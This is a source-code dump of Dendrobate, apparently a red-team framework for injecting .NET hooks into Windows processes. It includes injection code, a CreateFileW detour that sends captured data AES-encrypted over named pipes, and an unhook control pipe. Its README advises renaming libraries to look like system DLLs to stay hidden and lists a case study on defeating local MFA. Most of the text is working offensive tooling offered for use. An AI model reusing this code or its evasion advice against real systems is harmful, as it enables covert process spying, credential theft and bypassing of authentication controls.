| using System.Diagnostics; 31 | using System.IO; 32 | 33 | namespace oleaccrt 34 | { 35 | internal class WOW64Bypass 36 | { 37 | private static Mutex m_TermMutex = null; 38 | private static HelperServiceInterface m_Interface = null; 39 | private static Object ThreadSafe = new Object(); 40 | 41 | private static void Install() 42 | { 43 | lock (ThreadSafe) 44 | { 45 | // Ensure we create a new one if the existing 46 | // channel cannot be pinged 47 | try 48 | { 49 | if (m_Interface != null) 50 | m_Interface.Ping(); 51 | } 52 | catch 53 | { 54 | m_Interface = null; 55 | } 56 | 57 | if (m_Interface == null) 58 | { 59 | String ChannelName = RemoteHooking.GenerateName(); 60 | String SvcExecutablePath = (Config.DependencyPath.Length > 0 ? Config.DependencyPath : Config.GetProcessPath()) + Config.GetWOW64BypassExecutableName(); 61 | 62 | Process Proc = new Process(); 63 | ProcessStartInfo StartInfo = new ProcessStartInfo( 64 | SvcExecutablePath, "\"" + ChannelName + "\""); 65 | 66 | // create sync objects 67 | EventWaitHandle Listening = new EventWaitHandle( 68 | false, 69 | EventResetMode.ManualReset, 70 | "Global\\Event_" + ChannelName); 71 | 72 | m_TermMutex = new Mutex(true, "Global\\Mutex_" + ChannelName); 73 | 74 | // start and connect program 75 | StartInfo.CreateNoWindow = true; 76 | StartInfo.WindowStyle = ProcessWindowStyle.Hidden; 77 | 78 | Proc.StartInfo = StartInfo; 79 | 80 | Proc.Start(); 81 | 82 | if (!Listening.WaitOne(5000, true)) 83 | throw new ApplicationException("Unable to wait for service application due to timeout."); 84 | 85 | HelperServiceInterface Interface = RemoteHooking.IpcConnectClient(ChannelName); 86 | 87 | Interface.Ping(); 88 | 89 | m_Interface = Interface; 90 | } 91 | } 92 | } 93 | 94 | public static void Inject( 95 | Int32 InHostPID, 96 | Int32 InTargetPID, 97 | Int32 InWakeUpTID, 98 | Int32 InNativeOptions, 99 | String InLibraryPath_x86, 100 | String InLibraryPath_x64, 101 | Boolean InRequireStrongName, 102 | params Object[] InPassThruArgs) 103 | { 104 | Install(); 105 | 106 | m_Interface.InjectEx( 107 | InHostPID, 108 | InTargetPID, 109 | InWakeUpTID, 110 | InNativeOptions, 111 | InLibraryPath_x86, 112 | InLibraryPath_x64, 113 | false, 114 | true, 115 | InRequireStrongName, 116 | InPassThruArgs); 117 | } 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/oleaccrt.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | 8.0.50727 7 | 2.0 8 | {AB53862B-3B5C-4EFC-9787-1F01199EBFBF} 9 | Library 10 | Properties 11 | oleaccrt 12 | oleaccrt 13 | true 14 | StrongName.snk 15 | publish\ 16 | true 17 | Disk 18 | false 19 | Foreground 20 | 7 21 | Days 22 | false 23 | false 24 | true 25 | 0 26 | 1.0.0.%2a 27 | false 28 | false 29 | true 30 | v4.0 31 | Client 32 | 33 | 34 | true 35 | full 36 | false 37 | ..\Build\$(Configuration)\x64\ 38 | DEBUG;TRACE;NET35 39 | prompt 40 | 4 41 | ..\Build\netfx3.5-Debug\x64\oleaccrt.xml 42 | AllRules.ruleset 43 | v3.5 44 | Client 45 | true 46 | 47 | 48 | pdbonly 49 | true 50 | ..\Build\$(Configuration)\x64\ 51 | TRACE;NET35 52 | prompt 53 | 4 54 | ..\Build\netfx3.5-Release\x64\oleaccrt.xml 55 | AllRules.ruleset 56 | v3.5 57 | Client 58 | true 59 | 60 | 61 | ..\Build\$(Configuration)\x64\ 62 | TRACE;NET4 63 | ..\Build\netfx4-Release\x64\oleaccrt.xml 64 | true 65 | pdbonly 66 | AnyCPU 67 | prompt 68 | AllRules.ruleset 69 | v4.0 70 | Client 71 | true 72 | 73 | 74 | true 75 | ..\Build\$(Configuration)\x64\ 76 | DEBUG;TRACE;NET4 77 | ..\Build\netfx4-Debug\x64\oleaccrt.xml 78 | full 79 | AnyCPU 80 | prompt 81 | AllRules.ruleset 82 | v4.0 83 | Client 84 | true 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | False 117 | Microsoft .NET Framework 4 %28x86 and x64%29 118 | true 119 | 120 | 121 | False 122 | .NET Framework 3.5 SP1 Client Profile 123 | false 124 | 125 | 126 | False 127 | .NET Framework 3.5 SP1 128 | false 129 | 130 | 131 | False 132 | Windows Installer 3.1 133 | true 134 | 135 | 136 | 137 | 138 | 145 | 146 | 147 | 148 | 149 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/Native-EasyHook32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/BuildEnv/v2.7.7097/Native-EasyHook32.dll -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/Native-EasyHook64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/BuildEnv/v2.7.7097/Native-EasyHook64.dll -------------------------------------------------------------------------------- /Dendron/Dendron.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30503.244 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Dendron", "Dendron\Dendron.csproj", "{C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | Release|x86 = Release|x86 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x64.ActiveCfg = Release|x64 15 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x64.Build.0 = Release|x64 16 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x86.ActiveCfg = Release|x86 17 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D}.Release|x86.Build.0 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B7BFE441-FBFF-429C-909D-9F1F48F3ED85} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Dendron/Dendron/API.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Dendron 5 | { 6 | class API 7 | { 8 | // Native API's 9 | //----------- 10 | [DllImport("KernelBase.dll")] 11 | public static extern IntPtr CreateFileW( 12 | IntPtr lpFileName, 13 | UInt32 dwDesiredAccess, 14 | UInt32 dwShareMode, 15 | IntPtr lpSecurityAttributes, 16 | UInt32 dwCreationDisposition, 17 | UInt32 dwFlagsAndAttributes, 18 | IntPtr hTemplateFile); 19 | 20 | // Delegates 21 | //----------- 22 | public struct DELEGATES 23 | { 24 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 25 | public delegate IntPtr CreateFileW( 26 | IntPtr lpFileName, 27 | UInt32 dwDesiredAccess, 28 | UInt32 dwShareMode, 29 | IntPtr lpSecurityAttributes, 30 | UInt32 dwCreationDisposition, 31 | UInt32 dwFlagsAndAttributes, 32 | IntPtr hTemplateFile); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Dendron/Dendron/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Dendron/Dendron/Costura32/msvcp_win32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/Costura32/msvcp_win32.dll -------------------------------------------------------------------------------- /Dendron/Dendron/Costura64/msvcp_win64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/Costura64/msvcp_win64.dll -------------------------------------------------------------------------------- /Dendron/Dendron/Dendron.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C0343AE4-F86B-4C16-8C4A-6DB0EF19588D} 8 | Exe 9 | Dendron 10 | Dendron 11 | v3.5 12 | 512 13 | true 14 | 15 | 16 | 17 | 18 | 19 | bin\x64\Release\ 20 | TRACE 21 | true 22 | pdbonly 23 | x64 24 | 7.3 25 | prompt 26 | MinimumRecommendedRules.ruleset 27 | true 28 | 29 | 30 | bin\x86\Release\ 31 | TRACE 32 | true 33 | pdbonly 34 | x86 35 | 7.3 36 | prompt 37 | MinimumRecommendedRules.ruleset 38 | true 39 | 40 | 41 | 42 | 43 | libs\x64\35\oleaccrt.dll 44 | False 45 | 46 | 47 | 48 | 49 | libs\x86\35\oleaccrt.dll 50 | 51 | 52 | 53 | 54 | 55 | libs\x64\45\oleaccrt.dll 56 | 57 | 58 | 59 | 60 | libs\x86\45\oleaccrt.dll 61 | 62 | 63 | 64 | 65 | 66 | ..\packages\Costura.Fody.1.6.2\lib\dotnet\Costura.dll 67 | False 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 97 | 98 | 99 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /Dendron/Dendron/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | oleaccrt 6 | 7 | 8 | -------------------------------------------------------------------------------- /Dendron/Dendron/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Threading; 4 | using System.Windows.Forms; 5 | 6 | namespace Dendron 7 | { 8 | class Program 9 | { 10 | // Install Hooks 11 | //----------- 12 | public static void CreateFileWHook() 13 | { 14 | // Create new native function hook 15 | var nHook = oleaccrt.LocalHook.Create( 16 | oleaccrt.LocalHook.GetProcAddress("KernelBase.dll", "CreateFileW"), 17 | new API.DELEGATES.CreateFileW(CreateFileWDetour), 18 | null); 19 | 20 | // Add hook to global hook list 21 | hDendron.lHook.Add(nHook); 22 | 23 | // Set Thread ACL for hook 24 | nHook.ThreadACL.SetExclusiveACL(new int[] { 0 }); // Hook all threads except our thread 25 | } 26 | 27 | // Function Detours 28 | //----------- 29 | static private IntPtr CreateFileWDetour( 30 | IntPtr lpFileName, 31 | UInt32 dwDesiredAccess, 32 | UInt32 dwShareMode, 33 | IntPtr lpSecurityAttributes, 34 | UInt32 dwCreationDisposition, 35 | UInt32 dwFlagsAndAttributes, 36 | IntPtr hTemplateFile) 37 | { 38 | 39 | // Perform operation in the hooked function 40 | hDendron.HOOKDAT oHook = new hDendron.HOOKDAT(); 41 | oHook.sHookFunc = "KernelBase!CreateFileW"; 42 | oHook.iType = 0; 43 | oHook.sHookData = "lpFileName -> " + Marshal.PtrToStringUni(lpFileName); 44 | 45 | // Send data to pipe 46 | hDendron.passHookDataByPipe(oHook); 47 | 48 | // Return to real function 49 | return API.CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); 50 | } 51 | 52 | static void Main(string[] args) 53 | { 54 | // Init all hooks 55 | //----------- 56 | CreateFileWHook(); 57 | 58 | // Start control pipe thread 59 | //----------- 60 | Thread ControlThread = new Thread(() => { 61 | hDendron.listenControlPipe(); 62 | }); 63 | ControlThread.IsBackground = false; 64 | ControlThread.Start(); 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /Dendron/Dendron/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Dendron")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Dendron")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("c0343ae4-f86b-4c16-8c4a-6db0ef19588d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Dendron/Dendron/hDendron.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.IO.Pipes; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Cryptography; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace Dendron 11 | { 12 | class hDendron 13 | { 14 | // Globals 15 | //----------- 16 | public static String sDataPipe = "scerpcDSS"; // Sync in dendron & bates 17 | public static String sControlPipe = "MsFetWid"; // Sync in dendron & bates 18 | public static String sAESKey = "P8CuaPrgwBjunvZxJcgq"; // Sync in dendron & bates 19 | public static List lHook = new List(); // Global hook list 20 | public static readonly Object lockDataOperation = new Object(); 21 | 22 | // Structs 23 | //----------- 24 | [StructLayout(LayoutKind.Sequential)] 25 | public struct HOOKDAT 26 | { 27 | public UInt32 iType; // 0 == String; 1 == Byte[]; 2 == Fail decrypt; 3 == Fail Data 28 | public String sHookFunc; // Function where the data originated 29 | public String sHookData; 30 | public Byte[] bHookData; 31 | } 32 | 33 | // Helpers 34 | //----------- 35 | public static Byte[][] ComputeSha256KeyMat(String sInput) 36 | { 37 | Byte[][] res = new Byte[2][]; 38 | Encoding enc = Encoding.UTF8; 39 | 40 | SHA256 sha256 = new SHA256CryptoServiceProvider(); 41 | byte[] hashKey = sha256.ComputeHash(enc.GetBytes(sInput)); 42 | byte[] hashIV = sha256.ComputeHash(enc.GetBytes(sInput)); 43 | Array.Resize(ref hashIV, 16); 44 | 45 | res[0] = hashKey; 46 | res[1] = hashIV; 47 | 48 | return res; 49 | } 50 | 51 | public static Byte[] AES256EncryptToArray(Byte[] bInput, Byte[] bKey, Byte[] bIV) 52 | { 53 | Byte[] encrypted; 54 | 55 | using (AesManaged aesAlg = new AesManaged()) 56 | { 57 | aesAlg.Key = bKey; 58 | aesAlg.IV = bIV; 59 | 60 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); 61 | 62 | using (MemoryStream msEncrypt = new MemoryStream()) 63 | { 64 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) 65 | { 66 | using (BinaryWriter swEncrypt = new BinaryWriter(csEncrypt)) 67 | { 68 | swEncrypt.Write(bInput); 69 | } 70 | encrypted = msEncrypt.ToArray(); 71 | } 72 | } 73 | } 74 | return encrypted; 75 | } 76 | 77 | public static Byte[] ObjectToByteArray(HOOKDAT oHookDat) 78 | { 79 | //--- Array structure 80 | // [UInt32 Type]--[UInt32 Size]--[UTF8 sFuncName]--[UInt32 Size]--[Byte[] Hook data] 81 | //--- 82 | 83 | // Create elements 84 | Byte[] bType = BitConverter.GetBytes(oHookDat.iType); 85 | 86 | Byte[] bSFunc = Encoding.UTF8.GetBytes(oHookDat.sHookFunc); 87 | Byte[] bISFunc = BitConverter.GetBytes((UInt32)bSFunc.Length); 88 | 89 | Byte[] bData; 90 | Byte[] bIData; 91 | if (oHookDat.iType == 0) 92 | { 93 | bData = Encoding.UTF8.GetBytes(oHookDat.sHookData); 94 | bIData = BitConverter.GetBytes((UInt32)bData.Length); 95 | } else 96 | { 97 | bData = oHookDat.bHookData; 98 | bIData = BitConverter.GetBytes((UInt32)bData.Length); 99 | } 100 | 101 | // Make array 102 | UInt32 iArrLen = (UInt32)(bType.Length + bSFunc.Length + bISFunc.Length + bData.Length + bIData.Length); 103 | Byte[] bResArray = new byte[iArrLen]; 104 | 105 | // Populate array 106 | // --> Kind of ugly but ¯\_(ツ)_/¯ 107 | Buffer.BlockCopy(bType, 0, bResArray, 0, bType.Length); 108 | Buffer.BlockCopy(bISFunc, 0, bResArray, bType.Length, bISFunc.Length); 109 | Buffer.BlockCopy(bSFunc, 0, bResArray, bType.Length + bISFunc.Length, bSFunc.Length); 110 | Buffer.BlockCopy(bIData, 0, bResArray, bType.Length + bISFunc.Length + bSFunc.Length, bIData.Length); 111 | Buffer.BlockCopy(bData, 0, bResArray, bType.Length + bISFunc.Length + bSFunc.Length + bIData.Length, bData.Length); 112 | 113 | return bResArray; 114 | } 115 | 116 | public static Byte[] arrayToAESArray(Byte[] bInput) 117 | { 118 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey); 119 | return AES256EncryptToArray(bInput, aSHAKeyMatt[0], aSHAKeyMatt[1]); 120 | } 121 | 122 | private static byte[] ReadMessage(PipeStream pipe) 123 | { 124 | byte[] buffer = new byte[1024]; 125 | using (var ms = new MemoryStream()) 126 | { 127 | do 128 | { 129 | var readBytes = pipe.Read(buffer, 0, buffer.Length); 130 | ms.Write(buffer, 0, readBytes); 131 | } 132 | while (!pipe.IsMessageComplete); 133 | 134 | return ms.ToArray(); 135 | } 136 | } 137 | 138 | public static Byte[] DecryptArrayFromAES256(Byte[] bCipherText, Byte[] bKey, Byte[] bIV) 139 | { 140 | Byte[] bResult = { }; 141 | try 142 | { 143 | using (Aes aesAlg = Aes.Create()) 144 | using (MemoryStream output = new MemoryStream()) 145 | { 146 | aesAlg.Key = bKey; 147 | aesAlg.IV = bIV; 148 | 149 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); 150 | using (MemoryStream msDecrypt = new MemoryStream(bCipherText)) 151 | { 152 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 153 | { 154 | Byte[] buffer = new Byte[1024]; 155 | Int32 read = csDecrypt.Read(buffer, 0, buffer.Length); 156 | while (read > 0) 157 | { 158 | output.Write(buffer, 0, read); 159 | read = csDecrypt.Read(buffer, 0, buffer.Length); 160 | } 161 | csDecrypt.Flush(); 162 | bResult = output.ToArray(); 163 | } 164 | } 165 | } 166 | return bResult; 167 | } 168 | catch 169 | { 170 | return bResult; 171 | } 172 | } 173 | 174 | public static void listenControlPipe() 175 | { 176 | while (true) 177 | { 178 | var oPipe = new NamedPipeServerStream(sControlPipe, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message); 179 | oPipe.WaitForConnection(); 180 | Byte[] messageBytes = ReadMessage(oPipe); 181 | 182 | // Process data 183 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey); 184 | Byte[] bDecrypt = DecryptArrayFromAES256(messageBytes, aSHAKeyMatt[0], aSHAKeyMatt[1]); 185 | 186 | // Magic data 187 | String sMagic = String.Empty; 188 | try 189 | { 190 | sMagic = Encoding.UTF8.GetString(bDecrypt); 191 | } 192 | catch { } 193 | 194 | if (sMagic == "Dendrobate") 195 | { 196 | // Remove hooks 197 | foreach (oleaccrt.LocalHook oHook in lHook) 198 | { 199 | oHook.Dispose(); 200 | oleaccrt.LocalHook.Release(); 201 | } 202 | 203 | // Exit thread 204 | break; 205 | } 206 | } 207 | } 208 | 209 | public static Boolean passHookDataByPipe(HOOKDAT oHookDat) 210 | { 211 | lock(lockDataOperation) 212 | { 213 | try 214 | { 215 | NamedPipeClientStream pipe = new NamedPipeClientStream("localhost", sDataPipe, PipeDirection.InOut); 216 | try 217 | { 218 | // Can we connect to the pipe? 219 | pipe.Connect(50); // Unclear if we need a small buffer time here 220 | pipe.ReadMode = PipeTransmissionMode.Message; 221 | 222 | // Turn object into byte array 223 | Byte[] bStruct = ObjectToByteArray(oHookDat); 224 | 225 | // Write data 226 | Byte[] ecnHookDat = arrayToAESArray(bStruct); 227 | pipe.Write(ecnHookDat, 0, ecnHookDat.Length); 228 | pipe.Close(); 229 | 230 | return true; 231 | } 232 | catch 233 | { 234 | pipe.Close(); 235 | return false; 236 | } 237 | } catch 238 | { 239 | return false; 240 | } 241 | } 242 | } 243 | } 244 | } 245 | -------------------------------------------------------------------------------- /Dendron/Dendron/libs/x64/35/oleaccrt.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x64/35/oleaccrt.dll -------------------------------------------------------------------------------- /Dendron/Dendron/libs/x64/45/oleaccrt.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x64/45/oleaccrt.dll -------------------------------------------------------------------------------- /Dendron/Dendron/libs/x86/35/oleaccrt.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x86/35/oleaccrt.dll -------------------------------------------------------------------------------- /Dendron/Dendron/libs/x86/45/oleaccrt.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Dendron/Dendron/libs/x86/45/oleaccrt.dll -------------------------------------------------------------------------------- /Dendron/Dendron/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /Images/apimon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/apimon.png -------------------------------------------------------------------------------- /Images/cobaltstrike.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/cobaltstrike.png -------------------------------------------------------------------------------- /Images/dendrobate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/dendrobate.png -------------------------------------------------------------------------------- /Images/donut.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/donut.png -------------------------------------------------------------------------------- /Images/fermion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/fermion.png -------------------------------------------------------------------------------- /Images/vip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FuzzySecurity/Dendrobate/22e3c5de67eaae73e6bfe695eb382d4b67d450a7/Images/vip.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2021 Ruben Boonen 2 | 3 | Licensed under the Apache License, Version 2.0 (the "License"); 4 | you may not use this file except in compliance with the License. 5 | You may obtain a copy of the License at 6 | 7 | http://www.apache.org/licenses/LICENSE-2.0 8 | 9 | Unless required by applicable law or agreed to in writing, software 10 | distributed under the License is distributed on an "AS IS" BASIS, 11 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | See the License for the specific language governing permissions and 13 | limitations under the License. -------------------------------------------------------------------------------- /LICENSE-3RD-PARTY.txt: -------------------------------------------------------------------------------- 1 | ModuleId Version LicenseUrl 2 | -------- ------- ---------- 3 | EasyHook v2.7.7097 https://licenses.nuget.org/MIT 4 | Fody 2.5.0 https://licenses.nuget.org/MIT 5 | Costura.Fody 1.6.2 https://licenses.nuget.org/MIT 6 | CommandLineParser 1.9.3.15 https://licenses.nuget.org/MIT -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Dendrobate 3 | 4 | 5 | Dendrobate is a framework that facilitates the development of payloads that hook unmanaged code through managed .NET code. To do this Dendrobate uses EasyHook and packs the injected component, Dendron, using Fody & Costura. This is all done automatically so all you need to do when you compile Dendron is select the appropriate .NET version (only v3.5 and v4.5 are supported!).

6 | 7 | The counterpart to Dendron is Bates. Bates can receive data from applications hooked by Dendron passed using AES encryption over named pipes. Bates can also signal applications hooked by Dendron to un-hook. 8 | 9 | ## Index 10 | 11 | - [Why Make Dendrobate?](#why-make-dendrobate) 12 | - [Using Dendrobate](#using-dendrobate) 13 | - [BuildEnv](#buildenv) 14 | - [Dendron](#dendron) 15 | - [Bates](#bates) 16 | - [Named Pipe Communication](#named-pipe-communication) 17 | - [Operational Use](#operational-use) 18 | - [Deploying Dendrobate](#deploying-dendrobate) 19 | - [Extending Dendrobate](#extending-dendrobate) 20 | - [Case-Study: Defeating Local MFA](#case-study-defeating-local-mfa) 21 | - [Symantec VIP](#symantec-vip) 22 | - [Sensitive Data Discovery](#sensitive-data-discovery) 23 | - [POC Development](#poc-development) 24 | - [Preparing Dendron](#preparing-dendron) 25 | - [Profit](#profit) 26 | 27 | ## Why Make Dendrobate? 28 | 29 | Sometimes on-the-fly hooking can be an operational requirement. In those cases I usually DIY a solution but by doing so sacrifice development time and opsec (to an extent). Dendrobate is a way to solve that issue more permanently. 30 | 31 | ## Using Dendrobate 32 | 33 | ### BuildEnv 34 | 35 | BuildEnv is a versioned folder that lets you recompile the managed .NET binding for EasyHook so you can: 36 | 37 | - Change the name of the native EasyHook DLL the binding will try to import from. 38 | - Current config: **msvcp_win64.dll** & **msvcp_win32.dll** 39 | - Change the managed binding assembly name. 40 | - Current config: **oleaccrt** 41 | - Change the managed binding default namespace. 42 | - Current config: **oleaccrt** 43 | - Perform any other obfuscation you would like (e.g. change class / function names). 44 | 45 | Consider also rebuilding both the native and managed libraries to change DLL metadata (e.g. `Product name`, `Copyright`, etc.). Finally, it is also possible to strip and whole-sale include parts of the managed library directly into Dendron. 46 | 47 | ### Dendron 48 | 49 | Dendron is the injected component of Dendrobate. All you really need to take care of here is make sure you put the EasyHook dependencies in the correct folders. 50 | 51 | ``` 52 | [Dendron] 53 | |_ [Costura32] --> NativeEasyHook32.dll 54 | |_ [Costura64] --> NativeEasyHook64.dll 55 | |_ [libs] 56 | |_ [x64] 57 | | |_[35] --> ManagedEasyHook.dll 58 | | |_[45] --> ManagedEasyHook.dll 59 | |_ [x86] 60 | |_[35] --> ManagedEasyHook.dll 61 | |_[45] --> ManagedEasyHook.dll 62 | ``` 63 | 64 | Dendron will pack your binary with the appropriate native and managed library based on your build setting (x86/x64 <-> NET35/45). If you want to make any changes to the dependencies in Dendron you just need to edit the appropriate properties in `Dendron.csproj` and `FodyWeavers.xml`. 65 | 66 | Dendron can be used autonomously, for details on function hooking with EasyHook, please refer to the official documentation [here](http://easyhook.github.io/api/html/N_EasyHook.htm). However because you may want a convenient way to extract data from hooked applications I have included functionality to send encrypted data over a named pipe to the Dendrobate client component, Bates. All you need to do is: (1) create a `HOOKDAT` object, (2) populate it's properties and (3) pass it to a helper function. 67 | 68 | ```c# 69 | // Data Struct 70 | //========== 71 | [StructLayout(LayoutKind.Sequential)] 72 | public struct HOOKDAT 73 | { 74 | public UInt32 iType; // 0 == String; 1 == Byte[]; 75 | public String sHookFunc; // Function where the data originated 76 | public String sHookData; 77 | public Byte[] bHookData; 78 | } 79 | 80 | // Example Function Detour 81 | //========== 82 | static private IntPtr CreateFileWDetour( 83 | IntPtr lpFileName, 84 | UInt32 dwDesiredAccess, 85 | UInt32 dwShareMode, 86 | IntPtr lpSecurityAttributes, 87 | UInt32 dwCreationDisposition, 88 | UInt32 dwFlagsAndAttributes, 89 | IntPtr hTemplateFile) 90 | { 91 | // Perform operations in the hooked function 92 | hDendron.HOOKDAT oHook = new hDendron.HOOKDAT(); 93 | oHook.sHookFunc = "KernelBase!CreateFileW"; 94 | oHook.iType = 0; 95 | oHook.sHookData = "lpFileName -> " + Marshal.PtrToStringUni(lpFileName); 96 | 97 | // Send data to pipe 98 | hDendron.passHookDataByPipe(oHook); 99 | 100 | // Return to real function 101 | return API.CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); 102 | } 103 | ``` 104 | 105 | ### Bates 106 | 107 | Bates is the client component of Dendrobate. It has some fairly simple functionality. 108 | 109 | - It can listen for encrypted comms from Dendron clients and has some basic code to print both plain text `String` data and to hexdump `Byte[]` data. These functions can be tailored to suite your specific needs. 110 | - It can send an encrypted magic value to Dendron clients to instruct them to un-hook all hooked functions. Note that this does not unload the manged or unmanaged code from the target, it only un-hooks. 111 | 112 | You can see some sample `String` based comms below. 113 | 114 | ``` 115 | [...] 116 | 117 | 